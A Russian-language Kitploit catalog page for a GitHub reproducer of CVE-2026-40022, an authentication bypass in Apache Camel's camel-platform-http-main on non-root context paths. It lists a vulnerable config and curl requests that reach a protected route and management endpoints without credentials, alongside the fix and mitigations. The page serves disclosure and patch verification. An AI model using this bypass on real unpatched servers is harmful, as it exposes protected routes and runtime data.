Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40022 — Репродуктор для CVE-2026-40022: обход аутентификации Apache Camel camel-platform-http-main на некорневых путях контекста | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-40022
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияНеправильная Конфигурация
GitHuboscerd/cve-2026-40022

CVE-2026-40022

Репродуктор для CVE-2026-40022: обход аутентификации Apache Camel camel-platform-http-main на некорневых путях контекста

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-platform-http-main — обход аутентификации на некорневых контекстных путях (CVE-2026-40022)

Этот проект демонстрирует обход аутентификации в компоненте Apache Camel camel-platform-http-main (встроенный HTTP/управляющий сервер основного рантайма Camel), отслеживаемый как CVE-2026-40022. Когда аутентификация включена и задан некорневой контекстный путь (например, /api или /admin), обработчик аутентификации покрывает только точный контекстный путь, поэтому неаутентифицированные запросы к подпутям достигают защищённых маршрутов и управляющих эндпоинтов.

Информация об уязвимости: https://camel.apache.org/security/CVE-2026-40022.html

Сводка об уязвимости

СвойствоЗначение
Компонентcamel-platform-http-main (встроенный HTTP/управляющий сервер Camel main runtime)
Затронутые классыBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
Основная причинаКогда authenticationPath не задан, он определяется из camel.server.path; в модели монтирования суброутера Vert.x обработчик аутентификации соответствует только точному контекстному пути, а не его подпутям
CWECWE-287: Ненадлежащая аутентификация (обход аутентификации)
ВлияниеНеаутентифицированный доступ к защищённым бизнес-маршрутам и управляющим эндпоинтам (например, раскрытие метаданных рантайма через /observe/info)
Затронутые версииС 4.14.1 до 4.14.6 (не включая), и с 4.15.0 до 4.18.2 (не включая)
Исправленные версии4.14.6, 4.18.2, 4.20.0
Автор отчётаJihang Yu
PRapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

Технические подробности

BasicAuthenticationConfigurer (и JWTAuthenticationConfigurer) определяют путь, который защищает обработчик аутентификации, из properties.getAuthenticationPath(), возвращаясь к properties.getPath() (контекстный путь camel.server.path), когда он явно не задан:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Сервер Vert.x монтирует суб-роутер на <contextPath>* и регистрирует обработчик аутентификации внутри этого суб-роутера по разрешённому пути. В затронутых версиях разрешённый путь — это сам контекстный путь, поэтому — относительно суб-роутера, уже смонтированного на /api, — обработчик аутентификации в итоге соответствует /api/api, а не всем подпутям. В результате:

  • /api/api подвергается проверке (401) — обработчик присутствует, просто неправильно ограничен
  • /api/hello (настоящий бизнес-маршрут) не подвергается проверке → обслуживается без учётных данных

Исправление заставляет resolveAuthenticationPath возвращать /*, поэтому обработчик покрывает все подпути суб-роутера.

Настройка

application.properties — некорневой контекстный путь с включённой аутентификацией и незаданным authenticationPath:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

Маршрут обслуживается по адресу /api/hello.

Предварительные требования

  • Java 17+
  • Maven 3.8+

Внешние сервисы или Docker-контейнеры не требуются — уязвимый HTTP-сервер является самим приложением.

Шаги воспроизведения

Шаг 1: Сборка и запуск

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

Шаг 2: Показываем, что аутентификация ВКЛЮЧЕНА

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

Обработчик BasicAuthHandler активен — но ошибочно ограничен точным контекстным путём.

Шаг 3: Обход — доступ к защищённому маршруту без учётных данных

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (this is a PROTECTED business route)

В исправленной версии (4.14.6 / 4.18.2 / 4.20.0) возвращается 401 Unauthorized.

Шаг 4: С учётными данными тоже работает (как задумано)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

Влияние: раскрытие управляющего эндпоинта

Тот же недостаток применим к управляющему серверу (camel.management.path, например /admin). Неаутентифицированный запрос к подпути, например /admin/observe/info, достигает управляющего эндпоинта, который может раскрыть метаданные рантайма: пользователя ОС, рабочую/домашнюю директорию, идентификатор процесса, информацию о JVM и ОС.

Условия эксплуатации

  1. Основной рантайм Camel main с camel-platform-http-main.
  2. Аутентификация включена на сервере или управляющем сервере.
  3. Некорневой контекстный путь (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath не заданы явно.

Рекомендуемое исправление

Обновитесь до 4.14.6 / 4.18.2 / 4.20.0. Исправление (resolveAuthenticationPath) заставляет обработчик аутентификации покрывать каждый подпуть:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // was: the exact context path
}

Смягчение

До обновления:

  1. Явно задайте camel.server.authenticationPath = /* (и camel.management.authenticationPath = /*), чтобы обработчик покрывал все подпути.
  2. Держите управляющий сервер только в доверенной сети.

Файлы

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main runtime entry point
    │   └── HelloRoute.java           # a protected platform-http route (/api/hello)
    └── resources/
        ├── application.properties    # non-root path + auth enabled (the vulnerable config)
        └── auth.properties           # basic-auth user (camel / propertiesPass)

Отказ от ответственности

Этот воспроизводитель предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент